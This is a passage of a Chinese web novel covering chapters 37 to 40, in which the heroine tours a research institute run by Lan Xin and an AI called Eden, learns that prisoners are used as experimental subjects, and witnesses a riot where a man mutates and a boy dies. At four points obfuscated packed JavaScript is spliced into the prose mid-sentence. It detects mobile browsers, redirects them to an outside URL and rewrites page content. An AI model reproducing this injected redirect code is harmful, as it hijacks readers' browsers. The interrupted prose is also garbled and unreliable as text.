她抬起头:“你的师父是谁?” “柳法·波波夫,曾经的共荣部研究员,你的挚友之一。”蓝心道,“当然,挚友这件事,是他单方面宣称的,而且你已经失忆了,这份虚无缥缈的友情就更加无从考证。” 柳法·波波夫。 阮禾的父亲,阮真莎的丈夫,共荣部前核心党员,蜂群意识的重启者。 单无绮看着蓝心。 蓝心是否知道,柳法·波波夫已经死了? 蓝心仿佛一朵蓝冰雕琢的花朵,漂亮而冰冷。 她的一言一行,带着科研工作者特有的理性,和人相处时,她不会因为对方的身份或地位,而改变自己的态度。 这份理性会被某些人解读为傲慢。 但几次书信往来后,单无绮明白,蓝心是个面冷心热的直性子。 单无绮直话直说:“我今天找你,其实有两件事。” 蓝心挑眉:“你说。” “第一件,就是看看那本笔记的破译进度,以及它发挥了多大的作用。”单无绮观察蓝心的脸色,把剩下的话吐了出来,“第二件事,就是请你投我一票。” “共荣部不是动物园,不过,你是笔记的提供者,所以可以破例。”蓝心毫不拖泥带水,“至于第二件事……” 单无绮歪头:“我可以追加几句吗?” 蓝心玩味地看着单无绮。 “这第三票,我本来打算让尤娜帮忙。”单无绮阐明了自己的立场,“但我意识到,如果三票都来自团结部,无异于留下一个把柄,我得拉拉其他部门的选票。” 蓝心:“合理,然后呢?” “没有然后。”单无绮摇头,“我事出有因,但你的选票不是我的囊中之物,你可以斟酌一下,然后再决定是否把这一票投给我。” 蓝心欣赏地看着单无绮。 “你很不错。”蓝心道,“如果没有我这一票,你打算怎么办?” “命运的馈赠,从来都无需心计。”单无绮耸耸肩,“无论能否当上司长,我都会接受。” 单无绮说的是真话。 成为调查司司长,等于多了一个好用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蓝心的语气十分严肃:“所以,我非常感谢你们。调查司带回来的那本笔记,真的帮了我们一个大忙。” 单无绮愣了一下。 她知道这本笔记很重要,但她没有想到,这本笔记竟然这么重要,重要到蓝心会以这种严肃的口吻,向她郑重其事地道谢。 “为什么?” “一个正确的方向,是科研者最梦寐以求的东西,其重要程度,不亚于缪斯之于诗人。”蓝心答道,“这本笔记送到研究所前,我们一直研究着两个方向——对旧人类遗产的破解,以及对异种血清的研发。” “那么现在……” “现在,我们放弃了对旧人类遗产的破解,所有的精力和经费,全部倾注在特型血清的研发上。”蓝心答。 单无绮看向核心。 核心稳定地散发着柔和的涟漪。 核心之后,研究所地底,AI伊甸恒常运转。 由0和1组成的数据洪流仿佛绿色的海洋。 天眼里,一个异常生命体被伊甸反复标红。 “姓名:单无绮。” “身份:异种。” “是否驱逐:否。” 37. 遗产与血清 参观核心后,蓝心带单无绮进入研究所内部。 研究所是旧人类的机械遗产,外面看起来雪白一片,内部也是精妙绝伦,大有乾坤。 通过入口时,蓝心在识别器上扫描面部。 “欢迎回来,蓝心同志。”柔和的女声在闸机口响起,“愿您拥有美好的一天。” 单无绮愣了一下。 她还是第一次见到这样的高科技。 “伊甸是旧人类留下的人工智能,研究所这座机械遗产,也在伊甸的管理范围内。”见单无绮迟迟未动,蓝心的语气柔和了一点,“对伊甸而言,我们既是需要侍奉的主人,又是值得怜爱的晚辈。” 单无绮眨了下眼。 一个被刻意按下的疑问,再次浮上单无绮的心头。 单无绮指了指发声的机械——一个泛着冰冷铁光的大喇叭。 “我是个异种,我也能进去吗?”单无绮问道。 蓝心的表情出现了一丝趣味。 她站在闸机口之后,环起手臂看着单无绮。 “单无绮同志,虽然您是异种,但您在基地的白名单中。”悬挂在闸机口旁的大喇叭温和地答话,“您是研究所的客人,您的档案亦在共荣部,只有当您失控,我才会将您移出白名单。” 单无绮新奇地盯着大喇叭。 “你是伊甸?”单无绮问。 “是的,单无绮同志,我正在通过外置传声器向您回话。”伊甸答。 “你怎么定义失控?” “这涉及一套复杂的判定标准,如果向您详细阐述,您将浪费一整个宝贵的白天。” 蓝心没有催促,她乐于看到这出好戏。 单无绮好奇地追问:“你能简单讲一下吗?” “当然,单无绮同志。”伊甸的声音柔和而低婉,还有一丝非人的磁性,“您的脖子上戴着拘束器,通过拘束器,我可以实时监控您的身体数据,当您彻底丧失人类的理智时,我会第一时间做出反应,或者将您驱逐,或者将您击杀。” 单无绮摸了摸脖子上的拘束器。 她的蓝瞳微微闪烁:“我原来的拘束器已经报废了,这个拘束器是新的,你知道吗?” “是的,我知道。” “如果我摘下拘束器,你有办法监控我吗?”单无绮问。 “理论上来说,没有。”伊甸诚实地回答,“但是,我是世上唯一的人工智能,在人类第一基地中,我可以通过其他方式监控您,并判断您是否失控。” 单无绮安静了一瞬。 蓝心突然道:“伊甸,你今天有点过于健谈了。” “抱歉,蓝心同志。”伊甸柔顺地道歉,同时开启了闸机口,“单无绮同志,请原谅我的多言。” 单无绮垂眸沉思片刻,抬脚通过了闸机口。 闸机口上的红灯,在单无绮通过时,立刻变成了绿灯。 “欢迎回来,单无绮同志。”柔和的女声再次响起,“愿您拥有美好的一天。” 蓝心和单无绮并肩同行。 整个研究所仿佛一个洁白的世界,触目所及的一切都是白色的。 偶尔,会有一两个研究员从走廊经过,当他们看到蓝心时,有的会停下来打一声招呼,但大多数人并没有理会蓝心。 他们仿佛一枚枚齿轮,在研究所这台巨型复合机械里,不知疲倦地转动着。 研究所里的风气,和基地完全不同。 “你可能会好奇,他们为什么这么忙碌。”蓝心看出单无绮的疑问,替她说了出来,“一天前,他们还不是这副模样。” 单无绮沉吟片刻:“是因为那本笔记吗?” “是的,就在昨天,我和研究所的核心党员们,还在会议室里据理力争。”蓝心揉了揉额角,似乎想起了不堪回首的一幕,“放弃研究旧人类的遗产,这个决定太过冒险,等于将基地所有的筹码,全部押在异种血清上。” 一名研究员和蓝心擦肩而过。 单无绮停下脚步,看着研究员匆忙的背影:“最后的结果……似乎显而易见。” “是的,会议最后,核心党员无一反对,全票通过了这一决策。”蓝心微微一顿,偏头看向单无绮。 “收到笔记前,我们还收到了一份关于特型血清的论文——啊,这份论文还是你代为转交的。”蓝心道,“赫勒瓦尔同志即使离开了内城,也不忘研究员的使命,根据他的论文,我们复现了实验,因此,我才能勉强说服那群老顽固,暂时放弃破解遗产。” 单无绮沉默。 赫勒瓦尔的异化,大概和这份论文有关。 在贫瘠的外城,赫勒瓦尔没有实验的条件。 他只能拿自己做实验。 “单无绮,你身上的秘密太多了。”蓝心轻叹一口气,“你是注射过血清的人,我不明白,你到底为什么会被基地流放?正常情况下,即使你犯下不可饶恕的重罪,你也应该关进研究所,成为我们宝贵的实验活体。” 单无绮一时间不知道该怎么接话。 良久,单无绮道:“我这不是回来了吗?” “你不知道,你的存在,对我们来说是多大的诱惑。”蓝心的语气居然有点扼腕,“你一定是最棒的实验活体。” 蓝心纯纯是从一个科研者的立场出发的。 单无绮听得汗毛倒竖:“你的嘴巴怎么能说出这么冰冷的话?” “我的体温是36.4℃,我说出的话也是36.4℃。”蓝心讲了个冷笑话。 单无绮:“……” 单无绮转移话题:“既然这样,你们不是更应该将重心转向破解遗产吗?” “旧人类的遗产犹如一堵高墙,现在的人类,不过是聆听敲击墙壁得到的回声,猜测墙的对面有什么。但是,人类对于异种的研究,已经初有建树,血清就是最好的证明。” 蓝心解释道,“上帝为人类关上一道门,人类便会开启一扇窗——那些机械遗产我们无法破解,那么,我们就依靠生化研究解决这个难题。” 正在这时,一道急匆匆的脚步声在走廊那头响起。 “所长!所长!”一个顶着黑眼圈的研究员狂奔过来,“不好了,又出事了!” 蓝心冷静地看着研究员:“发生了什么?” “实验体……实验体……”研究员喘了好一会儿,都没缓过气来。 蓝心:“伊甸。” “蓝心同志,一号实验室里的异种实验体,在一分三十七秒前击碎了培养罐。”伊甸接过了研究员的话题,“这是一起重大的实验事故,您要去现场看一看吗?” 蓝心皱眉。 沉思片刻后,蓝心有了决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这只异种没有发动任何能力,平静地迎接了自己的死亡。 蓝心走到单无绮身边。 蓝心问:“你发现了什么吗?” “我不是科研出身,我的发现,也许对你们的实验毫无裨益。”单无绮道,“而且,我的发现没有任何论据,一切全凭我的一双眼睛,还有心中的直觉。” 蓝心盯着单无绮:“你说。” “这只异种拥有智慧。”单无绮道,“他是自杀的。” 蓝心陷入沉默。 单无绮抬起头:“看吧,我可不是什么正经人,能说出什么正经话来?” “不,你的发现是正确的。”蓝心捂住额头,“我竟然……现在才发现……” 单无绮疑惑地看着蓝心。 这一刻,单无绮突然发现,实验室里的气氛变得格外沉重。 每一个白大褂,每一个研究员,无一例外地露出了悲哀的表情。 他们……在为一个异种悲哀? 为什么? 38. 暴乱 零突然出声:“你看那个异种。” 进入研究所后,零沉默了许多。 这里承载着零的许多回忆,有好有坏。 他是已覆灭的旧纪元的遗孤,他的身上有着两个时代的印记,他是一座活着的墓碑。 零说话时,单无绮下意识照做。 下一刻,单无绮的瞳孔猛地缩成两条细缝。 “这……这是!” 剧烈的情绪波动中,单无绮的能力出现了短暂的失控。 她光滑的皮肤上浮现出一片片鳞片,头发一根根炸开,像一条条张开嘴巴的蛇。 单无绮颈上的拘束器瞬间变得滚烫。 拘束器可以约束异种的能力,降低失控的风险。 但基地里,并不止单无绮一人戴着拘束器。 单无绮蹲下身。 她伸出还未完全解除异化的手,拨弄堆积在地面上的,异种死后化出的脓液,徒手从里面捞出了一个漆黑的东西。 那是一只拘束器。 单无绮拈着拘束器,脑中一瞬间闪过无数个猜想。 拘束器有监视的功能,给身为实验体的异种戴上拘束器,这意味着什么? “为什么?”单无绮轻声问,“为什么这只异种……戴着拘束器?” 蓝心放下扶住额头的手。 她的表情恢复了冷静,仿佛一只瓷白底的精致花瓶。 “戴文。”蓝心道,“把这只异种的信息告诉单副官。” 蓝心身边的一名研究员走了出来。 “日安,单同志。”戴文穿着研究所标配的白大褂,眼睛大而明亮,下面挂着两个硕大的黑眼圈,“这只异种的编号是358,接受血清注射前,他曾是基地的一名公民,等级是贝塔。” 358。 这个编号勾起了单无绮的回忆。 回到基地后,单无绮被关进禁闭室,接受友爱部的拷问。 那个时候,她的编号是357。 单无绮一瞬间毛骨悚然。 她强行按捺住心中的波澜:“你是说,这只异种之前是一个人类?” 戴文点头。 单无绮沉默。 她的手指仍然拈着脓液里捞出的拘束器。 她抬起另一只手,轻轻抚摸颈上的拘束器。 那个时候,如果萨摩屈打成招,如果自己没有咬牙坚持,如果首长始终没有出面。 会不会…… 会不会,浸泡在培养罐里,成为研究所的实验体的,就是自己了? 单无绮想起几分钟前,蓝心和自己的谈话。 蓝心没有在开玩笑。 蓝心是真的因为单无绮没有成为实验体而感到惋惜。 简单清理现场后,备用培养罐被推车推了进来。 巨大的培养罐里,绿色液体轻轻摇晃,一只婴儿状蜷缩的异种,在培养罐里安静地沉睡着。 那只异种的细长颈部,也戴着一只拘束器。 戴文走到蓝心身边:“所长,要继续实验吗?” “继续。”蓝心道。 戴文点点头。 蓝心的指令下达后,宛如停息的机械重新恢复运转,一个个研究员仿佛一枚枚机械里的齿轮,在雪白的实验室里忙碌起来。 蓝心对单无绮道:“单副官,借一步说话。” 单无绮仰视巨大的培养罐。 在研究员的指挥下,伊甸操控巨大的机械臂,将两人高的培养罐安插进凹槽,沉睡的异种因此惊醒,三只非人的复眼里,流露出极具人性的迷茫和惊慌。 那也是一只异种。 那也是一个人类。 单无绮深吸一口气。 她努力拾回理智,跟随蓝心离开。 蓝心带着单无绮来到办公室,关上房门。 “伊甸,放哨。”蓝心道。 “是,蓝心同志。”伊甸答。 蓝心指了指椅子:“我知道你有很多问题,现在,你可以问了。” 单无绮盯着蓝心的脸。 单无绮不知道,自己应该以一种怎样的心情,来开启接下来的这场谈话。 良久,单无绮问:“基地的情形,已经紧迫到要把人命填进研究所了吗?” “这是首长的决定,我投了赞成票。”蓝心道,“你带回来的那本笔记,研究所成功修复后,第一个过目的人就是首长——他将自己关在办公室里,让我在门外等候,半天后,他打开反锁的房门,说出的第一句话,就是立刻开启紧急会议。” “紧急会议?” “四部部长,以及直属司室的司长,都参加了这场会议。”蓝心看着单无绮,“本来,你也可以参加这次会议,但友爱部部长乔纳森从中作梗,因此,首长的右手边多了一把空座椅。” 单无绮想起这段时间,蓝心和自己之间,突然变得频繁的书信往来。 单无绮了然:“那场会议说了什么?” 蓝心道:“一份名单。” “名单?” “这次会议中,首长直接拿出了一份友爱部提供的名单,上面都是本应该流放的重刑犯,首长要求,把这些重刑犯全部投入研究所。”蓝心道,“自你回来后,这是首长第二次直接以个人意志作为会议结果,第一次,是众人难以定义你的身份时,首长一锤定音,声称你拥有完整的人类意识。” 说完,蓝心看向单无绮:“那本笔记送给首长前,我偷偷地看过。笔记的主人说,他曾经参与了集体决策思维的实验,为此我翻阅了研究所的档案,发现这个人的存在已经被基地抹去,连伊甸的备份数据里,都没有这个人的信息。” 蓝心道:“单副官,您知道这个人是谁吗?” 单无绮沉默。 孢子在左心口袋里呼呼大睡。 零一言不发。 单无绮摸了摸心口,斟酌片刻,轻声道:“波利·萨恩奇。” 蓝心的瞳孔猛地震荡了一下。 “波利·萨恩奇?”蓝心急促地反问,“你确定吗?” 蓝心从来没有这么失态过。 单无绮品出了非同凡响的意味:“波利·萨恩奇,到底是什么人?” “……我很庆幸,那场秘密会议上,我遵从内心的直觉,追随首长的意见投出了赞同票。”蓝心喃喃道,“单副官,你知道吗?柳法·波波夫是我的老师,而波利·萨恩奇,是我老师的老师。” 单无绮倒吸一口冷气。 蓝心心有余悸地捂住心口:“波利·萨恩奇这个名字,早在我成为师父的弟子前,就在基地的所有纸质文件中被抹去,我还是在一次偶然中,听到师父呢喃出这个名字。” 单无绮的大脑飞速运转。 柳法继承了波利的遗志,在外城重启了蜂群实验。 如今的蓝心,对这件事又知道多少呢? 这时,一道刺耳的警报声突然在研究所响起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“您想听到怎样的答案?”单无绮轻声问。 “你心底的答案。”首长答,“无绮,你回来已经半个月了,看到这一幕,你的心中是什么感受?” “……我会觉得残忍。”单无绮微微闭眼,“他们只是想填饱肚子,即使他们有错,他们也无罪。” “他们的确无罪。”首长叹息道,“因为利用他们的人,从未想过他们的死活。” 突然,墙下的人群骚动起来。 一道道口号,有如提前演练过一般,从那些外城人的嘴里呐喊而出。 “打倒伪国政府!” “自由属于人民!” “废除公民等级!” “我们要当家做主!” “我们才是基地的主人!” 等级是阶级的雏形,这一不妙的预感在今日兑现。 墙下的党员拉着警戒线前进,试图逼退人群。 但示威的人群毫不买账,最前排的人从怀里掏出一沓宣传单,劈头盖脸地撒向审查官。 洁白的宣传单漫天飞舞,仿佛六月飞雪。 “走吧,咱们下去。”首长道,“我种下的苦果,终究只能我来品尝。” 39. 演讲 首长和单无绮走下城墙,来到墙下。 示威的人群安静了一瞬。 首长——他漆黑卷翘的两撇胡须占据了小半张脸庞,因此单无绮能一眼记住他,因为比起难以分辨的五官,他的胡须更具标志性。 而基地公民对首长的脸更为熟悉。 每一位公民,都至少拥有一本《基地手册》。 封面上,以首长为原型的老大哥安静地注视着你,两撇黑胡须遮住上唇,让他的微笑愈发神秘。 早年间,有幸与首长共事的公民还能和他勾肩搭背,但不知何时起,首长变成了一尊庄严的金像。 他是基地的活地标,内外两城的太阳,万千人崇敬地念诵他的名姓,却再也没人敢叫他一声“老大哥”。 在单无绮的陪同下,首长无视党员的劝阻,掀起警戒线,毫无防备地来到众人跟前。 他举起右臂,对人群缓缓挥了挥手。 人群立刻发出喧天的轰鸣! 犹如千百朵浪花簇拥着分海的摩西,又仿佛一万条亡灵蜂涌向唯一的生者。 公民们推搡,尖叫,伸出一双双手臂,企图触碰首长的指尖。 墙下的党员们艰难地圈出一小片空地,首长站在空地中,钢铁般坚毅的蓝眼睛扫视人群的每一张脸孔。 那些脸孔无一不糅杂着盲目的狂热与崇拜,仿佛毕加索的抽象画,荒诞、扭曲、色块分明。 “同志们!”首长的声音舒缓且清晰,“请听我说几句!” 老大哥的话具有某种魔力,喧闹的人群渐渐平静下来。 他们睁着饥渴的眼睛,耐心地等待首长发言。 “不要把我当成敌人,亲爱的兄弟姐妹,我和你们一样,都是从艰难时期过来的人。”首长声情并茂地演讲,“娜塔莎!我还记得你的第一个孩子,他有着乌黑的蜷发和蓝色的眼睛,他还好吗?” “他很好!”人群中,系着头巾的女人说,“他今年满二十四,和喜欢的姑娘结了婚,现在已经是水泥厂的三级工人了!” “利西岑,你的女儿出嫁了吗?” “是的!今年九月,她就要生下第一个孩子了!” “范伦丁!” “首、首长,您记得我?”戴圆眼镜的文弱男子羞怯回应,“我很好,只是……只是……” “只是什么?” “只是——您能恢复诗歌专栏吗!”文弱男子大声说,“我干不了重活,自从三年前禁止诗歌写作,我就再也没吃过饱饭了!” 人群激起一片惊呼。 示威的领头者掏出一张宣传单,直直举到首长面前。 “首长!首长!”那人有着遍布血丝的,微凸的眼球,“您变了!您变了!!您已经不是和我们一起筑墙的老大哥了!我们要牛奶!我们要面包!我们要光明的未来!外城已经被内城抛弃,您下一步又要做什么?把我们变成猪猡,扔到墙外让异种吃掉吗?!” 此话一出,人群立刻沸反盈天。 党员们围成圈,将首长和单无绮艰难护住。 但再次被挑起怒火的人群比之前更加疯狂。 他们大睁饥饿的眼睛,一双双手臂穿过党员围起的人墙,一下又一下,抓向首长和单无绮的脸、颈、背。 单无绮看着这些人,觉得浑身发冷。 这哪里是人? 这分明是披着人皮的野兽! 突然,一道巨大的枪响撕裂了鼎沸的人声。 所有人齐齐安静了一瞬,而后,向枪声处看去。 萨摩维持着举枪的动作,枪口微微冒着白烟。 他顶着无数道视线,缓步走向首长。 中途,有人阻拦萨摩。 但下一秒,萨摩毫不犹豫地举枪,枪口对准挡在他面前的人。 ——一个长着雀斑的、双颊凹陷的少女。 少女鼓起勇气,试图拨开指着她脑门的枪管。 下一刻,坚硬的枪管抵上了她的眉心。 “你是四部党员,你戴着友爱部的盾徽!”少女尖叫,“你没有资格向人类开枪!” 萨摩置若罔闻。 他沉静的绿眼睛盯着少女,帽檐阴影遮住了他的眼神,无人知道他的心中想着什么。 所有人安静地盯着萨摩。 而少女——在发现无人劝阻萨摩时,她绝望地意识到,她被“集体”抛弃了。 我会死!少女的心凄厉地哀鸣,我要死了! 但一只手轻轻搭上枪管。 “萨摩,停下。”单无绮说。 萨摩浑身一僵。 在单无绮的注视下,萨摩闭上眼,将枪插回腰间。 “……我理解你们的诉求,兄弟姐妹们。”首长看向人群,“你们想要一份工作,它无需薪资丰厚,只需在满足日常开销的同时,每月能存下一笔小钱;你们想要一辆小车,它无需高调豪华,只需在上下班时充当代步工具,让你们从漫长的通勤中解脱;你们想要一个房子,它无需雕梁画栋,只需宽敞一点、明亮一点,能让家人齐聚在客厅,大人聊天,孩子玩耍……” “内城人已经拥有这些。”示威的领头者说,“而我们呢?我们拥有什么?” “你们什么也没有拥有。”首长的目光十分平静,“这是我的失职,我向你们道歉。” 领头者目瞪口呆。 他看着首长挺直腰背,又缓缓弯下,对所有人鞠了一个90°的躬。 “我能给出的,只有一个承诺。”首长没有起身。 他维持鞠躬的姿势,声线有些低沉:“我承诺二十年内,基地所有人都会富起来。我们会住进小洋楼,开上小汽车,水电24小时供应,收音机播放每日新闻。人与人不再以等级划分,‘内城’和‘外城’消失,‘共和国’出现。我们手拉着手,于城墙落成之日在广场庆祝,面包和啤酒免费发放,诗人朗诵诗歌,艺者献上歌舞,我们遥遥举杯,纪念二十年前艰苦卓绝的、苦涩的岁月——这岁月就是今天。” 但示威的领头者没有被打动:“我吃不下这张饼,老大哥。” “即使你不愿意相信我,我也不会放弃。”首长说,“城墙是一块砖一块砖砌出来的,我的理想亦然。” “是‘我们’的理想。”示威的领头者叹息,“二十三年了,你还记得我的名字吗?” 首长沉默片刻:“卢卡斯。” “别鞠躬了,老大哥。”名为“卢卡斯”的领头者笑了,“当年的我们,亲密得好像兄弟一般。我相信你还是你,我愿意继续留在外城,继续当你的第二双眼睛。” 首长微微一震。 他终于缓缓直起背,漂亮的黑胡须遮住上唇,让下半脸的表情格外模糊。 “对不起,卢卡斯。”首长诚恳地说。 “不,是我对不起你。”卢卡斯说,“我以为二十三年过去,你已经忘记了我们的理想……我的好兄弟,我的老伙计,给我一个拥抱吧。” 首长迟疑了。 最终,首长张开手臂:“谢谢你,卢卡斯,你为基地奉献了最美好的二十三年。” 卢卡斯回以熊抱:“为了人类的黎明,一切都是值得的。” 示威人群的仇恨烟消云散,他们双颊潮红,激动地鼓起掌来。 首长和卢卡斯松开拥抱,他们的手握在一起,眼睛凝视着眼睛。 “我们的理想会实现吗?”卢卡斯期待地问。 “一定会的。”首长坚定地答。 话音刚落,卢卡斯的脸突然涨得紫红。 他的脖颈刹那间粗了两倍,狰狞的经脉密集地鼓起。 他双目凸起,口翻白沫,舌头不受控制地吐出,黑色的血液涌上舌尖。 他属于人类的舌头“呲”地裂开,在众目睽睽中异变成分叉的蛇芯,鳞片从皮肤下一片片浮起,在阳光下折射出诡异的光。 喝彩声和口哨声停下了。 首长昔日的挚友变成了异种。 这种过山车般急转直下的剧情走向,让现场所有人目瞪口呆。 卢卡斯发出“嗬嗬”的气音,鼓胀的双眼几乎爆出眼眶。 他颤抖地举起长满鳞片的手臂,企图分辨出属于人类的部分。 “异种侵袭!!”党员终于惊醒,“撤离!!撤离!!异种侵袭!!!” 犹如按下开始键,时空一瞬间流动起来。 尖叫声、哭喊声、喝令声,数十种声音争先恐后地响起。 孩童大哭,男女彼此推搡。 宣传单一蓬蓬飞起,像狂狷的樱,像逆飞的雪。 萨摩牢牢地钳着单无绮的肩膀,试图在人群中护住她。 单无绮推开了萨摩。 左心口袋里,孢子发出人耳难闻的细碎响声,比落雪更轻。 “是蜂。”零为孢子翻译道,“这场异变,是蜂的手笔。” 蜂? 耳边都是混乱的人声。 单无绮眉头紧锁,目光微茫。 人群中突然传来一声凄厉的哀嚎。 单无绮抬起头,惊愕地追寻声音响起的方向。 她从萨摩腰间拔出枪,朝天鸣枪示警,又拨开陷入安静的人群,艰难地挤向哀嚎处。 人群局促地腾出一块空地。 小小的空地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739864|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一个男孩抽搐着躺倒。 单无绮来到男孩身边,清晰地看见男孩胸口凹陷、嘴角溢血。 他大概率被踩断了肋骨,断裂的肋骨甚至可能捅穿了肺部。 大部分人群仍骚乱不休,但男孩周围陷入死一般的寂静。 一个女人从远处挤来。 她跪在男孩身边,双手颤抖地触探男孩的鼻息,又抬起饥瘦的脸庞,将绝望而恳求的目光,投向身旁半蹲着的单无绮。 “单、单副官……”女人的眼泪一瞬间落了下来,但她的声音却十分隐忍,把所有的哭声都强行堵在了喉咙里,“求求您,求求您……我只有他了……求求您救救他……” 单无绮用力闭眼。 颈上的拘束器冰冷而坚硬,单无绮深吸一口气,抓起小男孩的手,却惊愕地发现,这个孩子已经没有了脉搏。 单无绮再次看向女人。 “……他死了。”单无绮的声音轻极了,“您节哀。” 女人的脸庞触碰火焰般瑟缩了一下。 她的双手仍然抓着单无绮的衣角,但单无绮的话戳破了她心中虚幻的泡影。 半晌后,女人收回手。 她额头抵地,大声哭嚎。 “老……大哥……”卢卡斯口齿含混地说,“杀了……我……” 单无绮猛地回头。 人类仓皇逃命,异种站在人类之中,一丝杀意也无。 他目露泪光,毫无人类特征的脸上涌动着人类的感情。 他因无端之祸变成异种,却为被他连累之人而痛苦。 他请求——哀求首长杀死他,语气温驯得近乎卑微。 首长安静地看着单无绮。 首长的目光,落在单无绮腰间的枪上。 夕阳渐斜,金红的余晖泼撒在人间,仿佛一袭恢宏华丽的血袍。 在所有人的注视下,单无绮咬紧了颤栗的牙关,大睁着湛蓝的双眼,机械地从腰间拔出手枪。 一瞬的停顿后,单无绮打开保险,将黑漆漆的枪口,对准了化为异种的卢卡斯。 单无绮不认识卢卡斯。 但单无绮必须杀了卢卡斯。 在人类的基地里,由一只异种,杀死另一只异种。 砰! 枪声响起。 卢卡斯的面庞出现一个大洞。 他仰面倒下,清凉的脓液和着鲜血,从后脑着地处缓缓溢出。 混乱的人群停止了。 “异种已剿灭!!”党员们大喊,“异种已剿灭!!” 痛失爱子的女人仍在哭嚎,人群却刹那间欢呼起来。 他们的笑声盖过了女人的哭声,仿佛大乐章淹没了一个不和谐的音符,沸腾、喜悦、疯狂。 “小洋楼!小汽车!水电24小时供应!” “面包!啤酒!全部免费拿!” “还有二十年!还有二十年!” “共和国万岁!” “共和国万岁!” 单无绮沉浸在这片欢乐的海洋中,只觉得恍如隔世。 她机械地扭过头,看向身旁的女人。 女人已经停止哭泣,呆滞地抱着孩子的尸体。 我能为她做什么?单无绮愣怔地想道。 孢子在口袋里叽叽叫唤,如雏鸟般吐出一连串掺杂着“你好”的人类语。 零没有发表任何意见,他既没有用刻薄的话嘲笑单无绮,也没有流露出一丝愤怒或凉薄。 “你打算怎么做?”零问。 “我不知道。”单无绮答。 “人类喜欢温暖,因此才会升起彻夜燃烧的篝火。”零又道。 单无绮呆滞的蓝眸出现了一丝神采。 她把身上摸了一遍,最终,终于找到了一样温暖的东西。 她用自己温暖的手,握住了女人冰凉的手。 “请您节哀。”单无绮说。 单无绮的声音淹没在震耳欲聋的欢呼声中,只能看见蠕动的双唇。 但女人听懂了。 女人浑噩的双目逐渐明亮,在单无绮的注视下,女人回握住单无绮的手,将脸埋进单无绮的衣摆,哀哀地啜泣起来。 单无绮虚拢住女人:“哭吧,哭吧……” 哭吧,哭吧,苦难的母亲,人民的母亲。 你是集体的一份子,你的骨肉因集体而死,但人民的理想终会实现,那时,所有逝去的英灵都将被人民怀念。 面包会有的,牛奶会有的,一切都会有的。 “会好起来的。”单无绮微弱地说,不知对女人还是对自己,“我发誓,会好起来的。” 40. 蜂王 小男孩是暴乱唯一的牺牲者。 小男孩的母亲花掉一半积蓄,为他买了一个墓碑,碑上刻着一行字:“艾力克·拉姆安眠于此。” 目睹男孩死去的人都参加了葬礼。 苍白的母亲迎送悼亡的客人,脸上带着卑怯僵硬的笑,单无绮站在她身边,内心被鼓胀的情绪填满。 单无绮的脑海回放着小男孩死前的一幕。 名为“艾力克·拉姆”的男孩紫青着脸,凹陷的胸口微弱起伏,白沫、秽物和鲜血沿嘴角和耳朵淌下,母亲触探他的鼻息,但他没有看母亲,一双眼睛直直朝上,仰视夕阳下由蓝转金的天空。 那时的小男孩在想什么? “您说两句话吧。”男孩的母亲轻轻说,“我出生时没了父母,八年前没了丈夫,如今又没了儿子……您给艾力克念两句悼词,好么?” 单无绮没回话,她的脑子乱糟糟,一时间竟忘记如何发声。 母亲哀切地望着单无绮。 单无绮终于回神。 “为了人类的黎明。”她低低地说,“团结、友爱、勤劳、共荣……他为基地而死,他是全人类的英雄。” “谢谢您,谢谢,谢谢。”母亲连声道谢。 单无绮看着母亲苍白浮肿的脸庞。 一块黑巾节俭地戴在她的头上,外城太过困苦,她连丧期的衣服也凑不出。 一瞬间,单无绮的胃翻江倒海,尖戾的情绪化为实物,堵住了她的喉咙。 她说不清这情绪从何而起。 人类是推动巨石的西西弗斯,巨石反复从山顶滚落,西西弗斯反复将巨石推上山顶,但无人在意被巨石碾压,又被西西弗斯踩踏的泥土。 泥土恒久沉默,一如沉默的人民。 这情绪一直持续到葬礼结束。 男孩小小的坟茔填上最后一铲土,单无绮和那位母亲告别,一个人走在撒满夕阳的街道上。 一阵悠扬的乐声传入了单无绮的耳畔。 那乐声应该响彻于夜色之下,和着静谧的月光,但此时夕阳如血,衬得那乐声也有一丝白昼的喧闹。 单无绮循着乐声找过去。 在外城的大广场上,她再次找到了那位诗人。 诗人留着烟雾般弥散的白发,卷曲地垂落在身后,夕阳下,他穿着将整个身子笼罩的长袍,只露出一双骨节分明的,修长的手,十指拨弄怀里的小竖琴,轻轻哼唱着初见时的小曲。 “明月洒下银网, 罩着村庄和林场。 田野里的麦浪, 似在梦中轻轻晃荡。 山峦披上月光, 沉入安谧的梦乡。 河流泛起粼波, 一路欢歌向着远方。 月亮啊, 你是游荡的精灵。 当酷烈的太阳西沉时, 你照耀在每个人的心上。” 筑墙者的铜像伫立在广场中央,披着血红色的夕阳,那不知名的诗人站在铜像的影子里,仿佛黑暗溶于黑暗,连他的一头白发,都蒙着黑夜般的光彩。 